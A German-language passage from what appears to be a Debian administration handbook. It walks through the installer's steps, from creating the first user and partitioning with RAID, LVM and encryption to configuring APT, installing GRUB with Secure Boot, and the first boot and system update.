Debian erzwingt auch das Anlegen eines normalen Nutzerkontos, so dass der Administrator nicht die schlechte Angewohnheit entwickelt, als Root zu arbeiten. Das Vorsorgeprinzip bedeutet im Kern, dass jede Aufgabe mit den geringst erforderlichen Rechten ausgeführt wird, um so den durch menschliches Versagen verursachten Schaden zu begrenzen. Deshalb fragt das Installationsprogramm nach dem vollständigen Namen des ersten Nutzers, seinem Benutzernamen und seinem Passwort (zweimal, um die Gefahr einer fehlerhaften Eingabe zu vermeiden).

Abbildung 4.6. Name des ersten Benutzers

4.2.11. Die Uhr einstellen

Wenn das Netzwerk zugänglich ist, wird die interne Systemuhr (durch einmaligen Zugriff) über einen NTP-Server gestellt. Auf diese Weise sind die Zeitstempel der Protokolldateien vom ersten Startvorgang an korrekt. Damit sie im Zeitverlauf durchgehend genau bleiben, muss nach der anfänglichen Installation ein NTP-Deamon eingerichtet werden (siehe Abschnitt 8.9.2, „Zeitsynchronisierung“).

4.2.12. Platten und andere Geräte erkennen

In diesem Schritt werden automatisch die Festplatten erkannt, auf denen Debian installiert werden kann. Sie werden im nächsten Schritt, der Partitionierung, angezeigt.

4.2.13. Das Partitionierungswerkzeug starten

KULTUR Nutzen des Partitionierens

Das Partitionieren, ein unabdingbarer Schritt der Installation, besteht darin, den auf den Festplatten verfügbaren Platz nach Maßgabe der darauf zu speichernden Daten und der beabsichtigten Verwendung des Rechners aufzuteilen (jede derartige Unterabteilung wird „Partition“ genannt). Bei diesem Schritt werden auch die zu verwendenden Dateisysteme ausgewählt. All diese Entscheidungen beeinflussen die Leistungsstärke, Datensicherheit und Administration des Servers.

Der Schritt des Partitionierens ist für neue Nutzer normalerweise schwierig. Die verschiedenen Teile der Platten (oder „Partitionen“), auf denen die Linux-Dateisysteme und der virtuelle Speicher (Swap) abgelegt werden sollen, müssen bestimmt werden. Diese Aufgabe wird noch schwieriger, wenn sich auf dem Rechner bereits ein anderes Betriebssystem befindet, das Sie behalten möchten. Sie müssen dann auf jeden Fall sicherstellen, dass dessen Partitionen nicht verändert werden (oder dass Sie ihre Größe verändern, ohne Schaden anzurichten).

Glücklicherweise verfügt das Partitionierungsprogramm über einen „geführten“ Modus, der dem Nutzer die einzurichtenden Partitionen vorschlägt - in den meisten Fällen können Sie die Vorschläge des Programms einfach bestätigen.

Abbildung 4.7. Wahl der Partitionierungsart

Der erste Bildschirm des Partitionierungsprogramms bietet Ihnen an, die gesamte Festplatte zur Erstellung verschiedener Partitionen zu verwenden. Für einen (neuen) Rechner, der ausschließlich Linux verwenden wird, ist diese Option eindeutig die einfachste und Sie können die Option „Geführt - vollständige Festplatte verwenden“ wählen. Falls der Rechner zwei Festplatten für zwei Betriebssysteme hat, kann es die Partitionierung erleichtern, wenn jeweils eine Festplatte für ein Betriebssystem ausgewählt wird. In beiden Fällen bietet der nächste Bildschirm an, die Festplatte, auf der Linux installiert wird, durch Auswählen des entsprechenden Eintrags zu bestimmen (zum Beispiel „SCSI1 (0,0,0) (sda) - 53.7 GB ATA QEMU HARDDISK“). Anschließend beginnen Sie die geführte Partitionierung.

Abbildung 4.8. Für geführtes Partitionieren zu verwendende Platte

Geführtes Partitionieren kann auch statt Partitionen logische Datenträger unter LVM einrichten (siehe unten). Da der Rest des Verfahrens jedoch der gleiche ist, werden wir die Option „Geführt - gesamte Platte verwenden und LVM einrichten“ (verschlüsselt oder nicht) nicht durchgehen.

In anderen Fällen, wenn Linux neben anderen bereits existierenden Partitionen laufen muss, müssen Sie manuelles Partitionieren wählen.

4.2.13.1. Geführtes Partitionieren

Das Programm zum geführten Partitionieren bietet drei Partitionierungsmethoden an, die unterschiedlichen Einsätzen entsprechen.

Abbildung 4.9. Geführtes Partitionieren

Die erste Methode heißt „Alle Dateien in eine Partition“. Der gesamte Linux-Systembaum wird in einem einzigen zum Stammverzeichnis / gehörenden Dateisystem abgelegt. Diese einfache und stabile Partitionierung passt ausgezeichnet zu einem personengebundenen oder Einzelplatzsystem. Eigentlich werden zwei Partitionen erstellt: die erste nimmt das gesamte System auf, die zweite den virtuellen Speicher (Swap).

Die zweite Methode, „Separate /home-Partition“, ist ähnlich, teilt jedoch die Dateihierarchie in zwei Partitionen auf: Eine Partition enthält das Linux-System (/) und die zweite die „home-Verzeichnisse“ (das heißt Nutzerdaten in Dateien und Unterverzeichnissen unter /home/).

Die letzte Partitionierungsmethode, „eigene /home-, /var- und /tmp-Partitionen“ genannt, ist für Server und Mehrplatzsysteme geeignet. Sie teilt den Verzeichnisbaum in zahlreiche Partitionen: zusätzlich zu den Wurzel- (/) und Benutzerkonten (/home/) enthält sie auch Partitionen für Serverprogrammdaten (/var/) und temporäre Dateien (/tmp/). Diese Unterteilung hat mehrere Vorteile. Nutzer können den Server nicht blockieren, indem sie den gesamten verfügbaren Festplattenplatz verbrauchen (sie können nur /tmp/ und /home/ auffüllen). Und die Daemon-Daten (vor allem Protokolle) können nicht mehr den Rest des Systems verstopfen.

ZURÜCK ZU DEN GRUNDLAGEN Ein Dateisystem wählen

Ein Dateisystem bestimmt die Art und Weise, in der Daten auf einer Festplatte angeordnet werden. Jedes bestehende Dateisystem hat seine Vorzüge und Beschränkungen. Einige sind stabiler, andere effektiver: wenn Sie Ihre Anforderungen gut kennen, ist es möglich, das zweckmäßigste Dateisystem auszuwählen. Es gibt bereits zahlreiche Vergleiche; anscheinend ist das ReiserFS vor allem für das Lesen vieler kleiner Dateien effizient; dagegen arbeitet XFS besser mit großen Dateien. Ext4, das Standarddateisystem für Debian, ist ein guter Kompromiss und basiert auf den drei früher in Linux verwendeten Dateisystemversionen (ext und ext2und ext3). Ext4, das bestimmte Einschränkungen von ext3 überwindet, ist vor allem für Festplatten mit sehr großer Kapazität geeignet. Sie können auch mit dem vielversprechenden btrfs experimentieren, das zahlreiche Merkmale aufweist, die bislang die Verwendung von LVM oder RAID erforderten.

Ein protokollierendes Dateisystem (wie ext3, ext4, btrfs, reiserfs oder xfs) unternimmt besondere Schritte, um nach einer plötzlichen Störung die Rückkehr zu einem früheren konsistenten Zustand zu ermöglichen, ohne die gesamte Festplatte zu analysieren (wie es beim ext2-System der Fall war). Diese Fähigkeit wird durch das Führen eines Journals erreicht, das die auszuführenden Operationen beschreibt, bevor sie tatsächlich vollzogen werden. Falls eine Operation unterbrochen wird, ist es möglich, sie aus dem Journal zu wiederholen. Falls im Gegenzug eine Unterbrechung während einer Aktualisierung des Journals eintritt, wird die zuletzt angeforderte Veränderung einfach ignoriert; die Daten, die gerade geschrieben werden, könnten so verloren gehen, aber da die Daten auf der Festplatte nicht verändert wurden, sind sie kohärent geblieben. Dies bedeutet nicht mehr und nicht weniger, als dass ein Transaktionsmechanismus auf das Dateisystem angewendet wird.

Nach der Auswahl der Partitionierungsmethode berechnet das Programm einen Vorschlag und zeigt ihn auf dem Bildschirm an; der Nutzer kann ihn dann, falls erforderlich, abändern. Insbesondere können Sie ein anderes Dateisystem wählen, falls die Standardauswahl (ext4) nicht zweckmäßig ist. In den meisten Fällen ist die vorgeschlagene Partitionierung jedoch sinnvoll und kann durch die Auswahl des Eintrags „Partitionierung beenden und Änderungen übernehmen“ angenommen werden.

Abbildung 4.10. Das Partitionieren bestätigen

4.2.13.2. Manuelles Partitionieren

Manuelles Partitionieren bietet größere Flexibilität, indem sie es dem Nutzer ermöglicht, den Verwendungszweck und die Größe jeder Partition zu wählen. Darüber hinaus ist dieser Modus unumgänglich, wenn Sie Software-RAID verwenden möchten.

IN DER PRAXIS Eine Windows-Partition verkleinern

Um Debian neben einem bestehenden Betriebssystem (Windows oder andere) zu installieren, benötigen Sie einigen verfügbaren Festplattenplatz, der nicht von dem anderen System benutzt wird, um dort die für Debian vorgesehenen Partitionen zu erstellen. In den meisten Fällen bedeutet dies, eine Windows-Partition zu verkleinern und den freigewordenen Platz zu nutzen.

Das Debian-Installationsprogramm ermöglicht diese Aktion im manuellen Partitionierungsmodus. Sie müssen nur die Windows-Partition auswählen und ihre neue Größe eingeben (dies funktioniert sowohl bei unverschlüsselten FAT- als auch bei NTFS-Partitionen).

Wenn Windows BitLocker-verschlüsselte Partitionen verwendet, müssen Sie für die Größenänderung die BitLocker-Verwaltung zusammen mit dem Windows-Datenträgerverwaltungshilfsprogramm verwenden.

Der erste Bildschirm zeigt die verfügbaren Festplatten, ihre Partitionen und jeglichen freien Speicherplatz, der noch nicht partitioniert ist. Sie können jedes der angezeigten Elemente auswählen; durch Drücken der Eingabe-Taste wird dann eine Liste der möglichen Aktionen angezeigt.

Sie können alle Partitionen auf der Platte löschen, indem Sie sie auswählen.

Wenn Sie freien Speicherplatz auf einer Platte auswählen, können Sie manuell eine neue Partition erstellen. Sie können dies auch mittels einer geführten Partitionierung tun, was eine interessante Lösung für eine Platte ist, die bereits ein anderes Betriebssystem enthält, die Sie jedoch für Linux in der üblichen Weise partitionieren möchten. Siehe Abschnitt 4.2.13.1, „Geführtes Partitionieren“ für mehr Einzelheiten zur geführten Partitionierung.

Abbildung 4.11. Das Partitionieren bestätigen

ZURÜCK ZU DEN GRUNDLAGEN Einhängepunkt

Der Einhängepunkt ist der Verzeichnisbaum, der auf der ausgewählten Partition den Inhalt des Dateisystems beherbergen wird. So ist eine als /home/ eingehängte Partition üblicherweise dazu bestimmt, Nutzerdaten zu enthalten.

Wenn das Verzeichnis „/“ heißt, wird es als root des Verzeichnisbaums bezeichnet und damit als Wurzel der Partition, die das Debian-System aufnehmen wird.

ZURÜCK ZU DEN GRUNDLAGEN Virtueller Speicher, Swap

Virtueller Speicher ermöglicht es dem Linux-Kernel, wenn ihm ausreichender Speicher (RAM) fehlt, etwas Speicher freizumachen, indem er Teile des RAM, die seit einiger Zeit inaktiv waren, auf der Swap-Partition der Festplatte ablegt. Dies wird auch grundlegend für die Suspend- und Hibernate-Funktionen eines Systems benötigt.

Um zusätzlichen Speicher zu simulieren, verwendet Windows eine Swap-Datei, die direkt in einem Dateisystem enthalten ist. Im Gegensatz hierzu verwendet Linux eine speziell für diesen Zweck vorgesehene Partition, daher der Name „Swap-Partition“. Aber es ist durchaus ebenso möglich eine Swap-Datei zu verwenden.

Bei der Auswahl einer Partition können Sie angeben, in welcher Weise Sie sie verwenden möchten:

formatieren und durch Auswahl eines Einhängepunkts in den Verzeichnisbaum aufnehmen;

als Swap-Partition verwenden;

zu einem „physikalischen Datenträger für die Verschlüsselung“ machen (um die Vertraulichkeit der Daten auf bestimmten Partitionen zu schützen, siehe unten);

zu einem „physikalischen Datenträger für LVM“ machen (dieses Konzept wird weiter unten in diesem Kapitel ausführlicher erläutert);

als RAID-Laufwerk verwenden (siehe weiter unten in diesem Kapitel);

oder sie nicht zu verwenden und daher unverändert zu lassen.

4.2.13.3. Mehrplattenlaufwerke konfigurieren (Software-RAID)

Einige RAID-Varianten ermöglichen die Duplizierung von auf Festplatten gespeicherten Informationen, um so Datenverluste zu vermeiden, falls eine von ihnen von einem Hardwareproblem betroffen wird. Level-1-RAID speichert eine einfache identische Kopie (Spiegel) einer Festplatte auf einem anderen Laufwerk, während Level-5 oder Level-6-RAID redundante Daten über mehrere Platten verteilt und so die vollständige Rekonstruktion einer versagenden Platte ermöglicht.

Wir werden nur Level-1-RAID beschreiben, das am einfachsten umzusetzen ist. Der erste Schritt besteht darin, zwei Partitionen gleicher Größe auf zwei verschiedenen Festplatten einzurichten und sie als „physikalisches Laufwerk für RAID“ zu bezeichnen.

Anschließend müssen Sie im Partitionierungsprogramm die Option „Software-RAID konfigurieren“ auswählen, um diese beiden Partitionen zu einer neuen virtuellen Platte zusammenzuführen, und dann auf dem Konfigurationsbildschirm „MD-Gerät erstellen“ auswählen. Danach müssen Sie eine Reihe von Fragen zu diesem neuen Gerät beantworten. Als erstes wird nach dem zu verwendenden RAID-Level gefragt, der in unserem Fall „RAID1“ ist. Als zweites wird nach der Anzahl der aktiven Geräte gefragt - in unserem Fall zwei, was der Anzahl der Partitionen entspricht, die bei diesem MD-Gerät verwendet werden. Als drittes wird nach der Anzahl von Reservegeräten gefragt - 0; wir haben keine zusätzliche Platte vorgesehen, um für eine möglicherweise defekte Platte einzuspringen. Die letzte Frage fordert Sie auf, die Partitionen für das RAID-Gerät auszuwählen - dies sollten die beiden sein, die wir für diesen Zweck vorgesehen haben (achten Sie darauf, nur die Partitionen auszuwählen, bei denen ausdrücklich „raid“ vermerkt ist).

Im Hauptmenü erscheint nun eine neue virtuelle „RAID“-Platte. Diese Platte wird als einzelne nicht löschbare Partition dargestellt, deren Verwendung wir jedoch wählen können (gerade so wie bei jeder anderen Partition).

Für weitere Einzelheiten zu RAID-Funktionen siehe Abschnitt 12.1.1, „Software-RAID“.

4.2.13.4. Den Logical Volume Manager (LVM) konfigurieren

LVM ermöglicht es Ihnen, „virtuelle“ Partitionen zu erstellen, die sich über mehrere Platten erstrecken. Dies hat zwei Vorteile: die Größe der Partitionen wird nicht mehr durch die individuellen Platten begrenzt, sondern durch ihre gesamte Größe, und Sie können jederzeit die Größe einer bestehenden Partition verändern, eventuell nachdem Sie, wenn nötig, eine weitere Platte hinzugefügt haben.

LVM verwendet eine besondere Terminologie: eine virtuelle Partition ist ein „logisches Volume“, das wiederum Teil einer „Volume-Gruppe“ oder einer Verbindung mehrerer „physikalischer Volumes“ ist. Jeder dieser Begriffe bezieht sich tatsächlich auf eine „reale“ Partition (oder ein Software-RAID-Laufwerk).

Diese Technik arbeitet auf sehr einfache Weise: jedes Volume, ob physikalisch oder logisch, wird in Blöcke gleicher Größe unterteilt, die durch den LVM miteinander in Übereinstimmung gebracht werden. Durch das Hinzufügen einer neuen Platte wird ein neues physikalisches Volume erzeugt, und diese neuen Blöcke können dann jeder beliebigen Volume-Gruppe zugeordnet werden. Alle Partitionen einer derartig erweiterten Volume-Gruppe erhalten so zusätzlichen Raum, in den sie sich ausdehnen können.

Das Partitionierungsprogramm konfiguriert LVM in mehreren Schritten. Zunächst müssen Sie auf den vorhandenen Festplatten die Partitionen erstellen, die „physikalische Volumes für LVM“ sein werden. Um LVM zu aktivieren, müssen Sie die Option „Logical Volume Manager konfigurieren“ auswählen und dann auf demselben Konfigurationsbildschirm die Option „Volume-Gruppe erstellen“, der dann die bestehenden physikalischen Volumes zugeordnet werden. Schließlich können Sie logische Volumes innerhalb dieser Volume-Gruppe erstellen. Beachten Sie, dass das automatische Partitionierungssystem alle diese Schritte selbstständig ausführen kann.

Im Partitionierungsmenü erscheint jedes physikalische Volume als Platte mit einer einzelnen Partition, die nicht gelöscht werden kann, die Sie jedoch nach Wunsch verwenden können.

Die Verwendung des LVM ist in Abschnitt 12.1.2, „LVM“ ausführlicher beschrieben.

4.2.13.5. Verschlüsselte Partitionen einrichten

Um die Vertraulichkeit Ihrer Daten sicherzustellen, zum Beispiel beim Verlust oder Diebstahl Ihres Rechners oder einer Festplatte, ist es möglich, die Daten auf einigen Partitionen zu verschlüsseln. Dieses Merkmal kann unterhalb jedes Dateisystems eingefügt werden, da wie LVM auch, Linux (genauer der dm-crypt-Treiber) den Device Mapper benutzt, um eine virtuelle Partition (deren Inhalt geschützt wird) auf der Grundlage einer darunter liegenden Partition zu erstellen, die die Daten in verschlüsselter Form aufnimmt (dank LUKS, Linux Unified Key Setup, einem Standardformat, das das Speichern von verschlüsselten Daten wie auch von Meta-Informationen zur Angabe des verwendeten Verschlüsselungsalgorithmus ermöglicht).

SICHERHEIT Verschlüsselte Swap-Partition

Während eine verschlüsselte Partition verwendet wird, wird der Verschlüsselungscode im Speicher (RAM) gehalten. Da das Abrufen dieses Codes die Entschlüsselung der Daten ermöglicht, ist es äußerst wichtig, keine Kopie dieses Codes zu hinterlassen, die für einen möglichen Dieb des Rechners oder der Festplatte oder für einen Wartungstechniker zugänglich wäre. Dies kann bei einem Laptop jedoch leicht geschehen, da der Inhalt des RAM im Ruhezustand (Hibernation) in der Swap-Partition gespeichert bleibt. Falls diese Partition nicht verschlüsselt ist, könnte der Dieb Zugang zum Code erhalten und ihn zum Entschlüsseln der Daten auf den verschlüsselten Partitionen verwenden. Es ist daher unabdingbar, dass Sie auch die Swap-Partition verschlüsseln, wenn Sie verschlüsselte Partitionen verwenden!

Das Debian-Installationsprogramm warnt den Nutzer, wenn er versucht, eine verschlüsselte Partition zu erstellen, während die Swap-Partition unverschlüsselt ist.

Zur Erstellung einer verschlüsselten Partition müssen Sie zunächst einer vorhandenen Partition diesen Zweck zuweisen. Hierzu wählen Sie eine Partition aus und zeigen an, dass sie als „physikalisches Volume für Verschlüsselung“ verwendet werden soll. Nachdem Sie die Platte, die das zu erstellende physikalische Volume enthält, partitioniert haben, wählen Sie „verschlüsselte Volumes konfigurieren“ aus. Das Programm wird dann vorschlagen, das physikalische Volume mit Zufallsdaten vorzubereiten (was das Auffinden der wirklichen Daten schwieriger macht), und wird Sie bitten, eine „Verschlüsselungs-Passphrase“ einzugeben, die Sie in Zukunft jedes Mal, wenn Sie Ihren Rechner starten, eingeben müssen, um Zugang zum Inhalt der verschlüsselten Partition zu erhalten. Nachdem Sie diesen Schritt erledigt haben und zum Menü des Partitionierungsprogramms zurückgekehrt sind, werden Sie dort eine neue Partition in einem „verschlüsselten Volume“ vorfinden, die Sie dann wie jede andere Partition konfigurieren können. In den meisten Fällen wird diese Partition als physikalisches Volume für LVM verwendet, um so mehrere Partitionen (logische Volumes unter LVM) mit demselben Verschlüsselungscode zu schützen, einschließlich der Swap-Partition (siehe Seitenleiste SICHERHEIT Verschlüsselte Swap-Partition).

4.2.14. Das Grundsystem installieren

Dieser Schritt, der keinen Eingriff des Nutzers erfordert, installiert die Pakete des Debian-„Grundsystems“. Hierzu gehören die Hilfsprogramme dpkg und apt, mit denen Debian-Pakete verwaltet werden, wie auch die zum Hochfahren und Starten des Systems erforderlichen Dienstprogramme.

Abbildung 4.12. Installation des Grundsystems

4.2.15. Den Paketmanager (apt) konfigurieren

Um zusätzliche Software installieren zu können, muss APT konfiguriert werden und ihm mitgeteilt werden, wo Debian-Pakete zu finden sind. Dieser Schritt ist soweit wie möglich automatisiert.

HINWEIS Debian-CD-ROM im Laufwerk

Falls das Installationsprogramm eine Debian-Installationsplatte im CD/DVD-Laufwerk entdeckt, ist es nicht erforderlich, APT für die Suche nach Paketen im Netzwerk zu konfigurieren: APT ist automatisch so konfiguriert, dass es Pakete von einem Laufwerk für Wechseldatenträger liest. Falls die Platte Teil eines Sets ist, wird das Programm anbieten, auch die anderen Platten zu „erkunden“, um so alle Pakete zu erfassen, die auf ihnen gespeichert sind.

Falls es erforderlich ist, Pakete aus dem Netz nachzuladen, kann ein Server ausgewählt werden, von dem diese Pakete herunterzuladen sind, indem zunächst ein Land und dann ein in diesem Land verfügbarer Spiegelserver ausgewählt wird. Ein Spiegelserver ist ein öffentlicher Server, der Kopien aller Dateien des Debian-Master-Archivs beherbergt.

Abbildung 4.13. Einen Debian-Spiegelserver auswählen

Schließlich schlägt das Programm vor, einen HTTP-Proxy zu verwenden. Falls kein Proxy vorhanden ist, besteht eine direkte Internetverbindung. Wenn Sie http://proxy.falcot.com:3128 eingeben, wird Apt den Falcot proxy/cache, ein „Squid“-Programm, verwenden. Sie können diese Einstellungen finden, indem Sie sich die Konfiguration eines Webbrowsers auf einem anderen Rechner, der mit demselben Netzwerk verbunden ist, ansehen.

Die Dateien Packages.xz und Sources.xz werden dann automatisch heruntergeladen, um die Liste der von APT erkannten Pakete zu aktualisieren.

ZURÜCK ZU DEN GRUNDLAGEN HTTP-Proxy

Ein HTTP-Proxy ist ein Server, der eine HTTP-Anfrage für Netzwerknutzer weiterleitet. Manchmal hilft er, das Herunterladen zu beschleunigen, indem er eine Kopie von Dateien aufhebt, die durch ihn übertragen wurden (wir sprechen dann von Proxy/Cache). Manchmal ist er die einzige Möglichkeit, einen externen Web-Server zu erreichen; in solchen Fällen ist es unerlässlich, während der Installation die entsprechende Frage zu beantworten, damit das Programm die Debian-Pakete über ihn herunterladen kann.

Squid ist der Name der Server-Software, die von Falcot Corp verwendet wird, um diesen Dienst anzubieten.

4.2.16. Debian-Paketpopularitätswettbewerb

Das Debian-System enthält ein Paket namens popularity-contest, dessen Aufgabe darin besteht, Statistiken über die Paketnutzung zu erstellen. Es sammelt jede Woche Informationen über die installierten und in jüngster Zeit benutzten Pakete und sendet diese Informationen anonym an die Debian-Projektserver. Das Projekt kann diese Informationen dann dazu benutzen, die relative Bedeutung jedes Pakets zu bestimmen, die die ihm gewährte Priorität beeinflusst. Insbesondere werden die „populärsten“ Pakete in die Installations-CD-ROM aufgenommen, wodurch ihr Zugang für Nutzer erleichtert wird, die sie nicht herunterladen oder ein vollständiges Set kaufen möchten.

Dieses Paket wird aus Rücksicht auf die Vertraulichkeit der Nutzung durch die Anwender nur auf Nachfrage aktiviert.

4.2.17. Pakete zur Installierung auswählen

Der nächste Schritt ermöglicht es, ganz allgemein den Verwendungszweck des Rechners auszuwählen. Die zwölf vorgeschlagenen Aufgaben entsprechen Listen von zu installierenden Paketen. Die Liste der Pakete, die tatsächlich installiert werden, wird später genauer abgestimmt und vervollständigt, sie stellt jedoch auf einfache Weise einen guten Ausgangspunkt dar.

Dieser Schritt kann einen vollständigen Satz Installationsmedien oder eine Internetverbindung und eine funktionierende Spiegelserver-Einrichtung wie oben beschrieben erfordern.

Einige Pakete werden auch nach Maßgabe der erkannten Hardware automatisch installiert (dank des Programms discover-pkginstall aus dem Paket discover).

Abbildung 4.14. Wahlmöglichkeiten

4.2.18. Den Boot-Loader GRUB installieren

Der Boot-Loader ist das erste vom BIOS gestartete Programm. Er lädt den Linux-Kernel in den Speicher und führt ihn dann aus. Häufig bietet er ein Menü an, das es dem Nutzer ermöglicht, den zu ladenden Kernel oder das zu startende Betriebssystem auszuwählen.

VORSICHT Boot-Loader und Dual-Boot

In diesem Abschnitt des Debian-Installationsprozesses werden die bereits auf dem Rechner installierten Betriebssysteme erkannt und entsprechende Einträge automatisch zum Boot-Menü hinzugefügt. Dies geschieht jedoch nicht bei allen Installationsprogrammen.

Vor allem, wenn Sie anschließend Windows installieren (oder wieder installieren), wird der Bootloader gelöscht. Debian befindet sich dann nach wie vor auf der Festplatte, aber ist nicht mehr vom Boot-Menü aus zugänglich (mit Ausnahme von Windows 10, wo es immer noch über die Windows-Wiederherstellungskonsole zugänglich ist). Sie müssen dann das Debian-Installationssystem im rescue-Modus starten, um einen weniger ausgrenzenden Bootloader einzurichten. Dieser Arbeitsgang wird ausführlich im Installationshandbuch beschrieben.

→ https://www.debian.org/releases/stable/amd64/ch08s06.html

Standardmäßig enthält das von GRUB vorgeschlagene Menü alle installierten Linux-Kernel, wie auch alle anderen erkannten Betriebssysteme. Daher sollten Sie den Vorschlag akzeptieren, es in den Master Boot Record zu installieren. Da das Behalten älterer Kernelversionen die Möglichkeit wahrt, dasselbe System zu starten, auch wenn der zuletzt installierte Kernel fehlerhaft oder schlecht an die Hardware angepasst wurd, ist es am besten, stets einige der älteren Kernel-Versionen beizubehalten.

GRUB ist dank seiner technischen Überlegenheit der von Debian installierte Standard-Boot-Loader: er funktioniert mit den meisten Dateisystemen und erfordert daher nach der Installation eines neuen Kernels keine Aktualisierung, da er seine Konfiguration während des Hochfahrens liest und die genaue Position des neuen Kernels findet. In der Version 1 (inzwischen „GRUB Legacy“ genannt) konnte GRUB nicht mit allen Kombinationen von LVM und Software-RAID umgehen; die standardmäßig installierte Version 2 ist da vollständiger. Es mag immernoch Situationen geben, in denen LILO (ein anderer Boot-Loader) bevorzugt installiert wird; das Installationsprogramm wird das dann automatisch vorschlagen.

Es ist erwähnenswert, dass GRUB kein einzelner Bootloader ist, sondern eher eine Sammlung von Bootloadern, die für verschiedene Fälle geeignet sind. Die zahlreichen Binärpakete, die aus dem GRUB-Quellpaket entstehen, spiegeln das wider: grub-efi-amd64 für Booten von 64-Bit-PCs im UEFI-Modus, grub-efi-ia32 für Booten von 32-Bit-PCs im UEFI-Modus, grub-pc für Booten von PCs im BIOS-Modus, grub-uboot für ARM-Computer, usw.

Für weitere Informationen zur Konfiguration von GRUB sehen Sie bitte hier nach: Abschnitt 8.8.2, „Konfigurierung von GRUB 2“.

KULTUR Secure Boot und der Shim-Bootloader

Secure Boot ist eine Technologie, die sicherstellt, dass Sie nur Software ausführen, die von Ihrem Betriebssystemhersteller validiert wurde. Um seine Arbeit zu erledigen, validiert jedes Element der Startsequenz die nächste Softwarekomponente, die es ausführen wird. Auf der tiefsten Ebene bettet die UEFI-Firmware kryptografische Schlüssel ein, die von Microsoft bereitgestellt werden, um die Signatur des Bootloaders zu überprüfen und sicherzustellen, dass dessen Ausführung sicher ist. Da das Signieren einer von Microsoft signierten Binärdatei ein langwieriger Prozess ist, hat Debian beschlossen, GRUB nicht direkt zu signieren. Stattdessen wird ein zwischengeschalteter Bootloader namens shim verwendet, der fast nie geändert werden muss und dessen einzige Rolle darin besteht, die von Debian bereitgestellte Signatur auf GRUB zu überprüfen und GRUB auszuführen. Um Debian auf einem Computer auszuführen, auf dem Secure Boot aktiviert ist, muss das Paket shim-signed installiert werden.

Im weiteren Verlauf des Stapels führt GRUB eine ähnliche Überprüfung mit dem Kernel durch. Anschließend überprüft der Kernel möglicherweise auch die Signaturen der Module, die geladen werden. Der Kernel verbietet möglicherweise auch einige Vorgänge, die die Integrität des Systems verändern könnten.

Debian 10 (Buster) war die erste Version, die Secure Boot unterstützt. Zuvor mussten Sie diese Funktion im System-Setup-Bildschirm des BIOS oder UEFI deaktivieren.

4.2.19. Die Installation fertigstellen und neu starten

Die Installation ist nun abgeschlossen, das Programm bittet Sie, die CD-ROM aus dem Laufwerk zu entfernen und den Rechner neu zu starten.

Abbildung 4.15. Installation beendet

4.3. Nach dem ersten Hochfahren

Falls Sie die Option „Desktop-Umgebung“ ohne explizite Desktop-Auswahl oder mit der Auswahl "GNOME" aktiviert hatten, wird der Rechner den Login-Manager gdm3 anzeigen.

Abbildung 4.16. Erstes Hochfahren

Der bereits angelegte Nutzer kann sich dann anmelden und sofort zu arbeiten beginnen.

4.3.1. Zusätzliche Software installieren

Die installierten Pakete entsprechen den während der Installation ausgewählten Profilen, aber nicht notwendigerweise der tatsächlichen Verwendung des Rechners. Deshalb möchten Sie vielleicht ein Paket-Verwaltungsprogramm benutzen, um die Auswahl der installierten Pakete zu verfeinern. Die zwei am häufigsten verwendeten Programme (die bereits installiert sind, wenn das Profil „Desktop-Umgebung“ ausgewählt wurde) sind apt (über die Befehlszeile zu erreichen) und synaptic ("Synaptic-Paketverwaltung" in den Menüs).

Um die Installation von zueinander passenden Gruppen von Programmen zu erleichtern, erstellt Debian „Aufgaben“, die einem bestimmten Verwendungszweck dienen (Mailserver, Dateiserver, usw.). Sie hatten bereits die Möglichkeit, sie während der Installation auszuwählen, und Sie können sie erneut mit Paket-Verwaltungsprogrammen wie aptitude (die Aufgaben sind in einem besonderen Abschnitt aufgelistet) und synaptic (über das Menü Bearbeiten → Pakete nach Aufgaben vormerken) abrufen.

Aptitude ist eine Schnittstelle für APT im Vollbild-Textmodus. Sie ermöglicht es dem Nutzer, die Liste der verfügbaren Pakete nach verschiedenen Kategorien (installierte oder nicht installierte Pakete, nach Aufgabe, nach Bereich usw.) zu durchsuchen und die für jedes von ihnen verfügbare Information anzusehen (Abhängigkeiten, Konflikte, Beschreibung, usw.). Jedes Paket kann mit „installieren“ (um es zu installieren, die +-Taste drücken) oder „entfernen“ (um es zu entfernen, die --Taste drücken) gekennzeichnet werden. Alle diese Arbeitsgänge werden dann gleichzeitig ausgeführt, sobald Sie sie durch das Drücken der g-Taste („g“ für „go!“) bestätigt haben. Keine Sorge, falls Sie einige Programme vergessen haben; Sie können aptitude erneut benutzen, sobald die erste Installation beendet ist.

TIP Debian kümmert sich auch um Nutzer, deren Muttersprache nicht Englisch ist

Mehrere Installationsschritte dienen der Lokalisierung des Systems in weiteren Sprachen neben Englisch. Dazu gehören übersetzte Unterlagen, Wörterbücher und verschiedene andere Pakete, die hilfreich sind für anderssprachige Nutzer. Die passende Option wird automatisch ausgewählt, falls während der Installation eine nicht-englische Sprache ausgewählt wurde.

Selbstverständlich ist es auch möglich, überhaupt keine Aufgabe für die Installation auszuwählen. In diesem Fall können Sie die gewünschte Software manuell mit dem Befehl apt oder aptitude installieren (beide sind über die Befehlszeile erreichbar). Die Pakete können über den Befehl apt-cache search task keyword gefunden werden.

WÖRTERVERZEICHNIS Paketabhängigkeiten, Konflikte

Im Debian Paket-Jargon ist eine „Abhängigkeit“ ein anderes Paket, das für das richtige Funktionieren des betreffenden Pakets erforderlich ist. Umgekehrt ist ein „Konflikt“ ein Paket, das nicht gleichzeitig mit einem anderen installiert sein kann.

Diese Begriffe sind ausführlicher dargestellt in Kapitel 5, Paketierungssystem: Hilfsprogramme und grundlegende Prinzipien.

4.3.2. Das System aktualisieren

Ein erstes apt safe-upgrade (ein Befehl zur automatischen Aktualisierung der installierten Programme) ist normalerweise erforderlich, insbesondere für mögliche Sicherheitsaktualisierungen, die seit der Veröffentlichung der letzten stabilen Debian-Version herausgegeben wurden. Diese Aktualisierungen können einige zusätzliche Fragen durch debconf, Debians Standardkonfigurationsprogramm, stellen. Für weitere Informationen zu diesen von apt durchgeführten Aktualisierungen siehe Abschnitt 6.2.3, „Das System aktualisieren“.

Kapitel 5. Paketierungssystem: Hilfsprogramme und grundlegende Prinzipien

Als Debian-Systemadministrator werden Sie regelmäßig mit .deb-Paketen umgehen, da sie festgelegte funktionale Einheiten (Anwendungen, Dokumentation usw.) enthalten, deren Installation und Wartung sie vereinfachen. Deshalb ist es gut zu wissen, was sie sind und wie man sie benutzt.

